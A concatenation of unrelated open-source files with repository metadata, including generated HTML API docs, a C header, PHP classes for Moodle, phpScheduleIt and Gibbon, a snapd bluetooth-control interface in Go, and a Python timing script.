<a class="el" href="group__axutil__array__list.html#g1a6a89777db876cfa0cc86787b7be6a0">axutil_array_list_t</a> * </td><td class="memItemRight" valign="bottom"><a class="el" href="group__axis2__msg.html#ga008e28053a1c980b867502b0619a6a2">axis2_msg_get_flow</a> (const <a class="el" href="group__axis2__msg.html#g20e480486e264ed4fb5df0517ce76b09">axis2_msg_t</a> *msg, const <a class="el" href="structaxutil__env.html">axutil_env_t</a> *env)</td></tr>
<tr><td class="memItemLeft" nowrap align="right" valign="top">AXIS2_EXTERN <br>
axis2_status_t </td><td class="memItemRight" valign="bottom"><a class="el" href="group__axis2__msg.html#ge2d0cca919d701cc03f6a99d7fff3164">axis2_msg_set_flow</a> (<a class="el" href="group__axis2__msg.html#g20e480486e264ed4fb5df0517ce76b09">axis2_msg_t</a> *msg, const <a class="el" href="structaxutil__env.html">axutil_env_t</a> *env, <a class="el" href="group__axutil__array__list.html#g1a6a89777db876cfa0cc86787b7be6a0">axutil_array_list_t</a> *flow)</td></tr>
<tr><td class="memItemLeft" nowrap align="right" valign="top">AXIS2_EXTERN const <br>
axis2_char_t * </td><td class="memItemRight" valign="bottom"><a class="el" href="group__axis2__msg.html#gcbb409dc87613a84ac8bde394869f6ad">axis2_msg_get_direction</a> (const <a class="el" href="group__axis2__msg.html#g20e480486e264ed4fb5df0517ce76b09">axis2_msg_t</a> *msg, const <a class="el" href="structaxutil__env.html">axutil_env_t</a> *env)</td></tr>
<tr><td class="memItemLeft" nowrap align="right" valign="top">AXIS2_EXTERN <br>
axis2_status_t </td><td class="memItemRight" valign="bottom"><a class="el" href="group__axis2__msg.html#g4d684f4bc237a32fcf2d2462d4c3166a">axis2_msg_set_direction</a> (<a class="el" href="group__axis2__msg.html#g20e480486e264ed4fb5df0517ce76b09">axis2_msg_t</a> *msg, const <a class="el" href="structaxutil__env.html">axutil_env_t</a> *env, const axis2_char_t *direction)</td></tr>
<tr><td class="memItemLeft" nowrap align="right" valign="top">AXIS2_EXTERN const <br>
axutil_qname_t * </td><td class="memItemRight" valign="bottom"><a class="el" href="group__axis2__msg.html#g3c21abaa1b0447d184b8a408cf2f75c1">axis2_msg_get_element_qname</a> (const <a class="el" href="group__axis2__msg.html#g20e480486e264ed4fb5df0517ce76b09">axis2_msg_t</a> *msg, const <a class="el" href="structaxutil__env.html">axutil_env_t</a> *env)</td></tr>
<tr><td class="memItemLeft" nowrap align="right" valign="top">AXIS2_EXTERN <br>
axis2_status_t </td><td class="memItemRight" valign="bottom"><a class="el" href="group__axis2__msg.html#g7fd20aa2eb6b5f479e7ca67e05b13bfd">axis2_msg_set_element_qname</a> (<a class="el" href="group__axis2__msg.html#g20e480486e264ed4fb5df0517ce76b09">axis2_msg_t</a> *msg, const <a class="el" href="structaxutil__env.html">axutil_env_t</a> *env, const axutil_qname_t *element_qname)</td></tr>
<tr><td class="memItemLeft" nowrap align="right" valign="top">AXIS2_EXTERN const <br>
axis2_char_t * </td><td class="memItemRight" valign="bottom"><a class="el" href="group__axis2__msg.html#g4d0a9953fea4185365e869b71b6dec42">axis2_msg_get_name</a> (const <a class="el" href="group__axis2__msg.html#g20e480486e264ed4fb5df0517ce76b09">axis2_msg_t</a> *msg, const <a class="el" href="structaxutil__env.html">axutil_env_t</a> *env)</td></tr>
<tr><td class="memItemLeft" nowrap align="right" valign="top">AXIS2_EXTERN <br>
axis2_status_t </td><td class="memItemRight" valign="bottom"><a class="el" href="group__axis2__msg.html#gc15cc16ed5f275763b938f3ae63d6566">axis2_msg_set_name</a> (<a class="el" href="group__axis2__msg.html#g20e480486e264ed4fb5df0517ce76b09">axis2_msg_t</a> *msg, const <a class="el" href="structaxutil__env.html">axutil_env_t</a> *env, const axis2_char_t *name)</td></tr>
<tr><td class="memItemLeft" nowrap align="right" valign="top">AXIS2_EXTERN <br>
<a class="el" href="group__axis2__description.html#g9bbf771ae43a8364c5f453c7077f0f1e">axis2_desc_t</a> * </td><td class="memItemRight" valign="bottom"><a class="el" href="group__axis2__msg.html#ge6b0879687a82eec5c5cf621bd803623">axis2_msg_get_base</a> (const <a class="el" href="group__axis2__msg.html#g20e480486e264ed4fb5df0517ce76b09">axis2_msg_t</a> *msg, const <a class="el" href="structaxutil__env.html">axutil_env_t</a> *env)</td></tr>
<tr><td class="memItemLeft" nowrap align="right" valign="top">AXIS2_EXTERN <br>
axutil_param_container_t * </td><td class="memItemRight" valign="bottom"><a class="el" href="group__axis2__msg.html#gcf3f23e957699279a048452b64a671f0">axis2_msg_get_param_container</a> (const <a class="el" href="group__axis2__msg.html#g20e480486e264ed4fb5df0517ce76b09">axis2_msg_t</a> *msg, const <a class="el" href="structaxutil__env.html">axutil_env_t</a> *env)</td></tr>
<tr><td class="memItemLeft" nowrap align="right" valign="top">AXIS2_EXTERN <br>
axis2_status_t </td><td class="memItemRight" valign="bottom"><a class="el" href="group__axis2__msg.html#g88c91bcaf0e249122383433ebc308c88">axis2_msg_increment_ref</a> (<a class="el" href="group__axis2__msg.html#g20e480486e264ed4fb5df0517ce76b09">axis2_msg_t</a> *msg, const <a class="el" href="structaxutil__env.html">axutil_env_t</a> *env)</td></tr>
</table>
<hr><a name="_details"></a><h2>Detailed Description</h2>
<hr size="1"><address style="text-align: right;"><small>Generated on Fri Apr 17 11:54:19 2009 for Axis2/C by
<a href="http://www.doxygen.org/index.html">
<img src="doxygen.png" alt="doxygen" align="middle" border="0"></a> 1.5.3 </small></address>
</body>
</html>
|
akimdi/laba2
|
axis2c_2/docs/api/html/axis2__msg_8h.html
|
HTML
|
gpl-3.0
| 12,995
|
<?xml version="1.0" encoding="ascii"?>
<!DOCTYPE html PUBLIC "-//W3C//DTD XHTML 1.0 Transitional//EN"
"DTD/xhtml1-transitional.dtd">
<html xmlns="http://www.w3.org/1999/xhtml" xml:lang="en" lang="en">
<head>
<title>cuon.Reports.report_articles_pickles_standard.report_articles_pickles_standard</title>
<link rel="stylesheet" href="epydoc.css" type="text/css" />
<script type="text/javascript" src="epydoc.js"></script>
</head>
<body bgcolor="white" text="black" link="blue" vlink="#204080"
alink="#204080">
<!-- ==================== NAVIGATION BAR ==================== -->
<table class="navbar" border="0" width="100%" cellpadding="0"
bgcolor="#a0c0ff" cellspacing="0">
<tr valign="middle">
<!-- Home link -->
<th> <a
href="cuon-module.html">Home</a> </th>
<!-- Tree link -->
<th> <a
href="module-tree.html">Trees</a> </th>
<!-- Index link -->
<th> <a
href="identifier-index.html">Indices</a> </th>
<!-- Help link -->
<th> <a
href="help.html">Help</a> </th>
<th class="navbar" width="100%"></th>
</tr>
</table>
<table width="100%" cellpadding="0" cellspacing="0">
<tr valign="top">
<td width="100%">
<span class="breadcrumbs">
<a href="cuon-module.html">Package cuon</a> ::
<a href="cuon.Reports-module.html">Package Reports</a> ::
<a href="cuon.Reports.report_articles_pickles_standard-module.html">Module report_articles_pickles_standard</a> ::
Class report_articles_pickles_standard
</span>
</td>
<td>
<table cellpadding="0" cellspacing="0">
<!-- hide/show private -->
<tr><td align="right"><span class="options">[<a href="javascript:void(0);" class="privatelink"
onclick="toggle_private();">hide private</a>]</span></td></tr>
<tr><td align="right"><span class="options"
>[<a href="frames.html" target="_top">frames</a
>] | <a href="cuon.Reports.report_articles_pickles_standard.report_articles_pickles_standard-class.html"
target="_top">no frames</a>]</span></td></tr>
</table>
</td>
</tr>
</table>
<!-- ==================== CLASS DESCRIPTION ==================== -->
<h1 class="epydoc">Class report_articles_pickles_standard</h1><p class="nomargin-top"><span class="codelink"><a href="cuon.Reports.report_articles_pickles_standard-pysrc.html#report_articles_pickles_standard">source code</a></span></p>
<!-- ==================== INSTANCE METHODS ==================== -->
<a name="section-InstanceMethods"></a>
<table class="summary" border="1" cellpadding="3"
cellspacing="0" width="100%" bgcolor="white">
<tr bgcolor="#70b0f0" class="table-header">
<td colspan="2" class="table-header">
<table border="0" cellpadding="0" cellspacing="0" width="100%">
<tr valign="top">
<td align="left"><span class="table-header">Instance Methods</span></td>
<td align="right" valign="top"
><span class="options">[<a href="#section-InstanceMethods"
class="privatelink" onclick="toggle_private();"
>hide private</a>]</span></td>
</tr>
</table>
</td>
</tr>
<tr>
<td width="15%" align="right" valign="top" class="summary">
<span class="summary-type"> </span>
</td><td class="summary">
<table width="100%" cellpadding="0" cellspacing="0" border="0">
<tr>
<td><span class="summary-sig"><a name="__init__"></a><span class="summary-sig-name">__init__</span>(<span class="summary-sig-arg">self</span>,
<span class="summary-sig-arg">nRows</span>=<span class="summary-sig-default">0</span>,
<span class="summary-sig-arg">sName</span>=<span class="summary-sig-default"><code class="variable-quote">'</code><code class="variable-string">standard</code><code class="variable-quote">'</code></span>)</span></td>
<td align="right" valign="top">
<span class="codelink"><a href="cuon.Reports.report_articles_pickles_standard-pysrc.html#report_articles_pickles_standard.__init__">source code</a></span>
</td>
</tr>
</table>
</td>
</tr>
<tr>
<td width="15%" align="right" valign="top" class="summary">
<span class="summary-type"> </span>
</td><td class="summary">
<table width="100%" cellpadding="0" cellspacing="0" border="0">
<tr>
<td><span class="summary-sig"><a name="getReportData"></a><span class="summary-sig-name">getReportData</span>(<span class="summary-sig-arg">self</span>,
<span class="summary-sig-arg">dicSearchfields</span>,
<span class="summary-sig-arg">dicUser</span>,
<span class="summary-sig-arg">oArticle</span>,
<span class="summary-sig-arg">reportDefs</span>)</span></td>
<td align="right" valign="top">
<span class="codelink"><a href="cuon.Reports.report_articles_pickles_standard-pysrc.html#report_articles_pickles_standard.getReportData">source code</a></span>
</td>
</tr>
</table>
</td>
</tr>
</table>
<!-- ==================== NAVIGATION BAR ==================== -->
<table class="navbar" border="0" width="100%" cellpadding="0"
bgcolor="#a0c0ff" cellspacing="0">
<tr valign="middle">
<!-- Home link -->
<th> <a
href="cuon-module.html">Home</a> </th>
<!-- Tree link -->
<th> <a
href="module-tree.html">Trees</a> </th>
<!-- Index link -->
<th> <a
href="identifier-index.html">Indices</a> </th>
<!-- Help link -->
<th> <a
href="help.html">Help</a> </th>
<th class="navbar" width="100%"></th>
</tr>
</table>
<table border="0" cellpadding="0" cellspacing="0" width="100%%">
<tr>
<td align="left" class="footer">
Generated by Epydoc 3.0.1 on Fri Feb 11 22:18:18 2011
</td>
<td align="right" class="footer">
<a target="mainFrame" href="http://epydoc.sourceforge.net"
>http://epydoc.sourceforge.net</a>
</td>
</tr>
</table>
<script type="text/javascript">
<!--
// Private objects are initially displayed (because if
// javascript is turned off then we want them to be
// visible); but by default, we want to hide them. So hide
// them unless we have a cookie that says to show them.
checkCookie();
// -->
</script>
</body>
</html>
|
juergenhamel/cuon
|
api/cuonserver/cuon.Reports.report_articles_pickles_standard.report_articles_pickles_standard-class.html
|
HTML
|
gpl-3.0
| 6,687
|
/*
* Generated by asn1c-0.9.24 (http://lionet.info/asn1c)
* From ASN.1 module "PDU-definitions"
* found in "../asn/PDU-definitions.asn"
* `asn1c -fcompound-names -fnative-types`
*/
#ifndef _UplinkPhysicalChannelControl_v6a0ext_IEs_H_
#define _UplinkPhysicalChannelControl_v6a0ext_IEs_H_
#include <asn_application.h>
/* Including external dependencies */
#include <NativeInteger.h>
#include <NativeEnumerated.h>
#include <constr_SEQUENCE.h>
#ifdef __cplusplus
extern "C" {
#endif
/* Dependencies */
typedef enum UplinkPhysicalChannelControl_v6a0ext_IEs__tpc_Step_Size {
UplinkPhysicalChannelControl_v6a0ext_IEs__tpc_Step_Size_s1 = 0,
UplinkPhysicalChannelControl_v6a0ext_IEs__tpc_Step_Size_s2 = 1,
UplinkPhysicalChannelControl_v6a0ext_IEs__tpc_Step_Size_s3 = 2,
UplinkPhysicalChannelControl_v6a0ext_IEs__tpc_Step_Size_spare1 = 3
} e_UplinkPhysicalChannelControl_v6a0ext_IEs__tpc_Step_Size;
/* UplinkPhysicalChannelControl-v6a0ext-IEs */
typedef struct UplinkPhysicalChannelControl_v6a0ext_IEs {
long *desired_HS_SICH_PowerLevel /* OPTIONAL */;
long *tpc_Step_Size /* OPTIONAL */;
/* Context for parsing across buffer boundaries */
asn_struct_ctx_t _asn_ctx;
} UplinkPhysicalChannelControl_v6a0ext_IEs_t;
/* Implementation */
/* extern asn_TYPE_descriptor_t asn_DEF_tpc_Step_Size_3; // (Use -fall-defs-global to expose) */
extern asn_TYPE_descriptor_t asn_DEF_UplinkPhysicalChannelControl_v6a0ext_IEs;
#ifdef __cplusplus
}
#endif
#endif /* _UplinkPhysicalChannelControl_v6a0ext_IEs_H_ */
#include <asn_internal.h>
|
BramBonne/snoopsnitch-pcapinterface
|
contrib/libosmo-asn1-rrc/include/UplinkPhysicalChannelControl-v6a0ext-IEs.h
|
C
|
gpl-3.0
| 1,539
|
<?php
// This file is part of Moodle - http://moodle.org/
//
// Moodle is free software: you can redistribute it and/or modify
// it under the terms of the GNU General Public License as published by
// the Free Software Foundation, either version 3 of the License, or
// (at your option) any later version.
//
// Moodle is distributed in the hope that it will be useful,
// but WITHOUT ANY WARRANTY; without even the implied warranty of
// MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the
// GNU General Public License for more details.
//
// You should have received a copy of the GNU General Public License
// along with Moodle. If not, see <http://www.gnu.org/licenses/>.
defined('MOODLE_INTERNAL') || die();
$plugin->version = '2014041600';
$plugin->cron = 0;
$plugin->component = 'local_lae';
$plugin->maturity = MATURITY_STABLE;
|
itg/moodle
|
local/lae/version.php
|
PHP
|
gpl-3.0
| 859
|
/**
* joola.io
*
* Copyright Joola Smart Solutions, Ltd. <info@joo.la>
*
* Licensed under GNU General Public License 3.0 or later.
* Some rights reserved. See LICENSE, AUTHORS.
*
* @license GPL-3.0+ <http://spdx.org/licenses/GPL-3.0+>
*/
Date.prototype.format = function (formatString) {
var formatDate = this;
var months = new Array("Jan", "Feb", "Mar", "Apr", "May", "Jun", "Jul", "Aug", "Sep", "Oct", "Nov", "Dec");
var yyyy = formatDate.getFullYear();
var yy = yyyy.toString().substring(2);
var m = formatDate.getMonth() + 1;
var mm = m < 10 ? "0" + m : m;
var mmm = months[m - 1];
var d = formatDate.getDate();
var dd = d < 10 ? "0" + d : d;
var h = formatDate.getHours();
var hh = h < 10 ? "0" + h : h;
var n = formatDate.getMinutes();
var nn = n < 10 ? "0" + n : n;
var s = formatDate.getSeconds();
var ss = s < 10 ? "0" + s : s;
formatString = formatString.replace(/yyyy/i, yyyy);
formatString = formatString.replace(/yy/i, yy);
formatString = formatString.replace(/mmm/i, mmm);
formatString = formatString.replace(/mm/i, mm);
formatString = formatString.replace(/m/i, m);
formatString = formatString.replace(/dd/i, dd);
formatString = formatString.replace(/d/i, d);
formatString = formatString.replace(/hh/i, hh);
formatString = formatString.replace(/h/i, h);
formatString = formatString.replace(/nn/i, nn);
formatString = formatString.replace(/n/i, n);
formatString = formatString.replace(/ss/i, ss);
formatString = formatString.replace(/s/i, s);
return formatString;
};
|
nvdnkpr/joola.io.manage
|
lib/joola.io.logger/utils.js
|
JavaScript
|
gpl-3.0
| 1,557
|
<?php
/**
Copyright 2011-2013 Nick Korbel
This file is part of phpScheduleIt.
phpScheduleIt is free software: you can redistribute it and/or modify
it under the terms of the GNU General Public License as published by
the Free Software Foundation, either version 3 of the License, or
(at your option) any later version.
phpScheduleIt is distributed in the hope that it will be useful,
but WITHOUT ANY WARRANTY; without even the implied warranty of
MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the
GNU General Public License for more details.
You should have received a copy of the GNU General Public License
along with phpScheduleIt. If not, see <http://www.gnu.org/licenses/>.
*/
require_once(ROOT_DIR . 'Pages/ActionPage.php');
abstract class ActionPresenter
{
/**
* @var IActionPage
*/
private $actionPage;
/**
* @var array
*/
private $actions;
/**
* @var array
*/
private $validations;
protected function __construct(IActionPage $page)
{
$this->actionPage = $page;
$this->actions = array();
$this->validations = array();
}
/**
* @param string $actionName
* @param string $actionMethod
* @return void
*/
protected function AddAction($actionName, $actionMethod)
{
$this->actions[$actionName] = $actionMethod;
}
protected function AddValidation($actionName, $validationMethod)
{
$this->validations[$actionName] = $validationMethod;
}
protected function ActionIsKnown($action)
{
return isset($this->actions[$action]);
}
protected function LoadValidators($action)
{
// Hook for children to load validators
}
public function ProcessAction()
{
/** @var $action string */
$action = $this->actionPage->GetAction();
if ($this->ActionIsKnown($action))
{
$method = $this->actions[$action];
try
{
$this->LoadValidators($action);
if ($this->actionPage->IsValid())
{
Log::Debug("Processing page action. Action %s", $action);
$this->$method();
}
}
catch (Exception $ex)
{
Log::Error("ProcessAction Error. Action %s, Error %s", $action, $ex);
}
}
else
{
Log::Error("Unknown action %s", $action);
}
}
}
?>
|
msslava/reservationsystem
|
Presenters/ActionPresenter.php
|
PHP
|
gpl-3.0
| 2,153
|
// -*- Mode: Go; indent-tabs-mode: t -*-
/*
* Copyright (C) 2016-2017 Canonical Ltd
*
* This program is free software: you can redistribute it and/or modify
* it under the terms of the GNU General Public License version 3 as
* published by the Free Software Foundation.
*
* This program is distributed in the hope that it will be useful,
* but WITHOUT ANY WARRANTY; without even the implied warranty of
* MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the
* GNU General Public License for more details.
*
* You should have received a copy of the GNU General Public License
* along with this program. If not, see <http://www.gnu.org/licenses/>.
*
*/
package builtin
const bluetoothControlSummary = `allows managing the kernel bluetooth stack`
const bluetoothControlBaseDeclarationSlots = `
bluetooth-control:
allow-installation:
slot-snap-type:
- core
deny-auto-connection: true
`
const bluetoothControlConnectedPlugAppArmor = `
# Description: Allow managing the kernel side Bluetooth stack. Reserved
# because this gives privileged access to the system.
network bluetooth,
# For crypto functionality the kernel offers
network alg,
capability net_admin,
# File accesses
/sys/bus/usb/drivers/btusb/ r,
/sys/bus/usb/drivers/btusb/** r,
/sys/module/btusb/ r,
/sys/module/btusb/** r,
/sys/class/bluetooth/ r,
/sys/devices/**/bluetooth/ rw,
/sys/devices/**/bluetooth/** rw,
# Requires CONFIG_BT_VHCI to be loaded
/dev/vhci rw,
`
const bluetoothControlConnectedPlugSecComp = `
# Description: Allow managing the kernel side Bluetooth stack. Reserved
# because this gives privileged access to the system.
bind
`
var bluetoothControlConnectedPlugUDev = []string{`SUBSYSTEM=="bluetooth"`}
func init() {
registerIface(&commonInterface{
name: "bluetooth-control",
summary: bluetoothControlSummary,
implicitOnCore: true,
implicitOnClassic: true,
baseDeclarationSlots: bluetoothControlBaseDeclarationSlots,
connectedPlugAppArmor: bluetoothControlConnectedPlugAppArmor,
connectedPlugSecComp: bluetoothControlConnectedPlugSecComp,
connectedPlugUDev: bluetoothControlConnectedPlugUDev,
reservedForOS: true,
})
}
|
Conan-Kudo/snapd
|
interfaces/builtin/bluetooth_control.go
|
GO
|
gpl-3.0
| 2,331
|
import sys
import numpy as np
from scipy import stats
import subprocess as sp
import datetime
import socket
import os
exec_name = sys.argv[1]
max_t = int(sys.argv[2])
ntries = 5
tot_timings = []
for t_idx in range(1,max_t + 1):
cur_timings = []
for _ in range(ntries):
# Run the process.
p = sp.Popen([exec_name,str(t_idx)],stdout=sp.PIPE,stderr=sp.STDOUT)
# Wait for it to finish and get stdout.
out = p.communicate()[0]
# Parse the stderr in order to find the time.
out = out.split(bytes('\n','ascii'))[1].split()[0][0:-1]
cur_timings.append(float(out))
tot_timings.append(cur_timings)
tot_timings = np.array(tot_timings)
retval = np.array([np.mean(tot_timings,axis=1),stats.sem(tot_timings,axis=1)])
fmt='{fname}_%Y%m%d%H%M%S'
filename = datetime.datetime.now().strftime(fmt).format(fname=socket.gethostname() + '_' + os.path.basename(exec_name)) + '.txt'
np.savetxt(filename,retval)
|
darioizzo/piranha
|
tools/benchmark.py
|
Python
|
gpl-3.0
| 911
|
<?php
/*
##########################################################################
# #
# Version 4 / / / #
# -----------__---/__---__------__----__---/---/- #
# | /| / /___) / ) (_ ` / ) /___) / / #
# _|/_|/__(___ _(___/_(__)___/___/_(___ _/___/___ #
# Free Content / Management System #
# / #
# #
# #
# Copyright 2005-2011 by webspell.org #
# #
# visit webSPELL.org, webspell.info to get webSPELL for free #
# - Script runs under the GNU GENERAL PUBLIC LICENSE #
# - It's NOT allowed to remove this copyright-tag #
# -- http://www.fsf.org/licensing/licenses/gpl.html #
# #
# Code based on WebSPELL Clanpackage (Michael Gruber - webspell.at), #
# Far Development by Development Team - webspell.org #
# #
# visit webspell.org #
# #
##########################################################################
*/
$language_array = Array(
/* do not edit above this line */
'about'=>'Über uns',
'archive'=>'Archiv',
'articles'=>'Artikel',
'awards'=>'Auszeichnungen',
'buddys'=>'Freunde',
'calendar'=>'Kalender',
'cash_box'=>'Kasse',
'challenge'=>'Herausforderung',
'clanwars'=>'Clanwars',
'clanwars_details'=>'Clanwar gegen',
'contact'=>'Kontakt',
'demo'=>'Demo',
'demos'=>'Demos',
'faq'=>'FAQ',
'files'=>'Dateien',
'forum'=>'Forum',
'gallery'=>'Galerie',
'guestbook'=>'Gästebuch',
'history'=>'Werdegang',
'imprint'=>'Impressum',
'joinus'=>'Mitglied werden',
'links'=>'Links',
'linkus'=>'verlinke uns',
'login'=>'Anmeldung',
'loginoverview'=>'Übersicht Anmeldung',
'lostpassword'=>'Passwort anfordern',
'members'=>'Mitglieder',
'messenger'=>'Nachrichtensystem',
'myprofile'=>'Konto bearbeiten',
'news'=>'Neuigkeiten',
'newsletter'=>'Newsletter',
'partners'=>'Partner',
'polls'=>'Umfragen',
'profile'=>'Profil von',
'register'=>'Registrierung',
'registered_users'=>'registrierte Benutzer',
'search'=>'Suche',
'server'=>'Server',
'shoutbox'=>'Shoutbox',
'sponsors'=>'Sponsoren',
'squads'=>'Teams',
'start'=>'Startseite',
'stats'=>'Statistiken',
'usergallery'=>'Benutzergalerien',
'versus'=>'gegen',
'whoisonline'=>'Wer ist online'
);
?>
|
kevinwiede/webspell-nerv
|
languages/de/seo.php
|
PHP
|
gpl-3.0
| 3,008
|
<?php
/*
Gibbon, Flexible & Open School System
Copyright (C) 2010, Ross Parker
This program is free software: you can redistribute it and/or modify
it under the terms of the GNU General Public License as published by
the Free Software Foundation, either version 3 of the License, or
(at your option) any later version.
This program is distributed in the hope that it will be useful,
but WITHOUT ANY WARRANTY; without even the implied warranty of
MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the
GNU General Public License for more details.
You should have received a copy of the GNU General Public License
along with this program. If not, see <http://www.gnu.org/licenses/>.
*/
namespace Gibbon\Domain\IndividualNeeds;
use Gibbon\Domain\QueryCriteria;
use Gibbon\Domain\QueryableGateway;
use Gibbon\Domain\ScrubbableGateway;
use Gibbon\Domain\Traits\Scrubbable;
use Gibbon\Domain\Traits\TableAware;
use Gibbon\Domain\Traits\ScrubByPerson;
/**
* Investigations Gateway
*
* @version v19
* @since v19
*/
class INInvestigationGateway extends QueryableGateway implements ScrubbableGateway
{
use TableAware;
use Scrubbable;
use ScrubByPerson;
private static $tableName = 'gibbonINInvestigation';
private static $primaryKey = 'gibbonINInvestigationID';
private static $searchableColumns = [];
private static $scrubbableKey = 'gibbonPersonIDStudent';
private static $scrubbableColumns = ['date' => '','reason' => '','strategiesTried' => '','parentsInformed' => '','parentsResponse'=> null,'resolutionDetails'=> null];
/**
* @param QueryCriteria $criteria
* @param int $gibbonSchoolYearID
* @param int $gibbonPersonIDCreator
* @return DataSet
*/
public function queryInvestigations(QueryCriteria $criteria, $gibbonSchoolYearID, $gibbonPersonIDCreator = null)
{
$query = $this
->newQuery()
->from($this->getTableName())
->cols([
'gibbonINInvestigation.*',
'student.gibbonPersonID',
'student.surname',
'student.preferredName',
'gibbonFormGroup.nameShort AS formGroup',
'creator.title AS titleCreator',
'creator.surname AS surnameCreator',
'creator.preferredName AS preferredNameCreator'
])
->innerJoin('gibbonPerson AS student', 'gibbonINInvestigation.gibbonPersonIDStudent=student.gibbonPersonID')
->innerJoin('gibbonStudentEnrolment', 'student.gibbonPersonID=gibbonStudentEnrolment.gibbonPersonID')
->innerJoin('gibbonFormGroup', 'gibbonStudentEnrolment.gibbonFormGroupID=gibbonFormGroup.gibbonFormGroupID')
->leftJoin('gibbonPerson AS creator', 'gibbonINInvestigation.gibbonPersonIDCreator=creator.gibbonPersonID')
->where('gibbonINInvestigation.gibbonSchoolYearID=:gibbonSchoolYearID')
->bindValue('gibbonSchoolYearID', $gibbonSchoolYearID)
->where('gibbonStudentEnrolment.gibbonSchoolYearID=gibbonINInvestigation.gibbonSchoolYearID');
if (!empty($gibbonPersonIDCreator)) {
$query->where('gibbonINInvestigation.gibbonPersonIDCreator=:gibbonPersonIDCreator OR gibbonFormGroup.gibbonPersonIDTutor=:gibbonPersonIDCreator OR gibbonFormGroup.gibbonPersonIDTutor2=:gibbonPersonIDCreator OR gibbonFormGroup.gibbonPersonIDTutor3=:gibbonPersonIDCreator')
->bindValue('gibbonPersonIDCreator', $gibbonPersonIDCreator);
}
$criteria->addFilterRules([
'student' => function ($query, $gibbonPersonID) {
return $query
->where('gibbonINInvestigation.gibbonPersonIDStudent=:gibbonPersonID')
->bindValue('gibbonPersonID', $gibbonPersonID);
},
'formGroup' => function ($query, $gibbonFormGroupID) {
return $query
->where('gibbonStudentEnrolment.gibbonFormGroupID=:gibbonFormGroupID')
->bindValue('gibbonFormGroupID', $gibbonFormGroupID);
},
'yearGroup' => function ($query, $gibbonYearGroupID) {
return $query
->where('gibbonStudentEnrolment.gibbonYearGroupID=:gibbonYearGroupID')
->bindValue('gibbonYearGroupID', $gibbonYearGroupID);
},
]);
return $this->runQuery($query, $criteria);
}
/**
* @param int $gibbonINInvestigationID
* @return array
*/
public function getInvestigationByID($gibbonINInvestigationID)
{
$query = $this
->newSelect()
->from($this->getTableName())
->cols([
'gibbonINInvestigation.*',
'student.gibbonPersonID',
'student.surname',
'student.preferredName',
'gibbonFormGroup.nameShort AS formGroup',
'creator.title AS titleCreator',
'creator.surname AS surnameCreator',
'creator.preferredName AS preferredNameCreator',
'gibbonFormGroup.gibbonPersonIDTutor',
'gibbonFormGroup.gibbonPersonIDTutor2',
'gibbonFormGroup.gibbonPersonIDTutor3',
'gibbonYearGroup.gibbonPersonIDHOY'
])
->innerJoin('gibbonPerson AS student', 'gibbonINInvestigation.gibbonPersonIDStudent=student.gibbonPersonID')
->innerJoin('gibbonStudentEnrolment', 'student.gibbonPersonID=gibbonStudentEnrolment.gibbonPersonID')
->innerJoin('gibbonFormGroup', 'gibbonStudentEnrolment.gibbonFormGroupID=gibbonFormGroup.gibbonFormGroupID')
->innerJoin('gibbonYearGroup', 'gibbonStudentEnrolment.gibbonYearGroupID=gibbonYearGroup.gibbonYearGroupID')
->leftJoin('gibbonPerson AS creator', 'gibbonINInvestigation.gibbonPersonIDCreator=creator.gibbonPersonID')
->where('gibbonStudentEnrolment.gibbonSchoolYearID=gibbonINInvestigation.gibbonSchoolYearID')
->bindValue('gibbonINInvestigationID', $gibbonINInvestigationID)
->where('gibbonINInvestigation.gibbonINInvestigationID=:gibbonINInvestigationID');
return $this->runSelect($query)->fetch();
}
/**
* @param int $gibbonSchoolYearID
* @param int $gibbonPersonID
* @return result
*/
public function queryTeachersByInvestigation($gibbonSchoolYearID, $gibbonPersonID)
{
$result = null;
$data = array('gibbonSchoolYearID' => $gibbonSchoolYearID, 'gibbonPersonID' => $gibbonPersonID);
$sql = "SELECT gibbonCourseClassTeacher.gibbonCourseClassPersonID, gibbonCourseClassTeacher.gibbonPersonID, gibbonCourseClass.gibbonCourseClassID, gibbonCourseClass.nameShort AS class, gibbonCourse.nameShort AS course, surname, preferredName
FROM gibbonCourse
JOIN gibbonCourseClass ON (gibbonCourse.gibbonCourseID=gibbonCourseClass.gibbonCourseID)
JOIN gibbonCourseClassPerson AS gibbonCourseClassStudent ON (gibbonCourseClassStudent.gibbonCourseClassID=gibbonCourseClass.gibbonCourseClassID AND gibbonCourseClassStudent.role='Student')
JOIN gibbonCourseClassPerson AS gibbonCourseClassTeacher ON (gibbonCourseClassTeacher.gibbonCourseClassID=gibbonCourseClass.gibbonCourseClassID AND gibbonCourseClassTeacher.role='Teacher')
JOIN gibbonPerson ON (gibbonCourseClassTeacher.gibbonPersonID=gibbonPerson.gibbonPersonID)
WHERE gibbonSchoolYearID=:gibbonSchoolYearID
AND gibbonCourseClassStudent.gibbonPersonID=:gibbonPersonID
AND gibbonCourseClass.reportable='Y'
AND gibbonCourseClassStudent.reportable='Y'
ORDER BY course, class";
$result = $this->db()->select($sql, $data);
return $result;
}
/**
* @param int $gibbonSchoolYearID
* @param int $gibbonPersonID
* @return result
*/
public function queryHOYByInvestigation($gibbonSchoolYearID, $gibbonPersonID)
{
$result = null;
$data = array('gibbonSchoolYearID' => $gibbonSchoolYearID, 'gibbonPersonID' => $gibbonPersonID);
$sql = "SELECT gibbonPerson.gibbonPersonID, surname, preferredName
FROM gibbonStudentEnrolment
JOIN gibbonYearGroup ON (gibbonStudentEnrolment.gibbonYearGroupID=gibbonYearGroup.gibbonYearGroupID)
JOIN gibbonPerson ON (gibbonYearGroup.gibbonPersonIDHOY=gibbonPerson.gibbonPersonID)
WHERE gibbonSchoolYearID=:gibbonSchoolYearID
AND gibbonStudentEnrolment.gibbonPersonID=:gibbonPersonID";
$result = $this->db()->select($sql, $data);
return $result;
}
}
|
GibbonEdu/core
|
src/Domain/IndividualNeeds/INInvestigationGateway.php
|
PHP
|
gpl-3.0
| 8,741
|
/*
* Licensed to the Apache Software Foundation (ASF) under one
* or more contributor license agreements. See the NOTICE file
* distributed with this work for additional information
* regarding copyright ownership. The ASF licenses this file
* to you under the Apache License, Version 2.0 (the "License");
* you may not use this file except in compliance with the License.
* You may obtain a copy of the License at
*
* http://www.apache.org/licenses/LICENSE-2.0
*
* Unless required by applicable law or agreed to in writing, software
* distributed under the License is distributed on an "AS IS" BASIS,
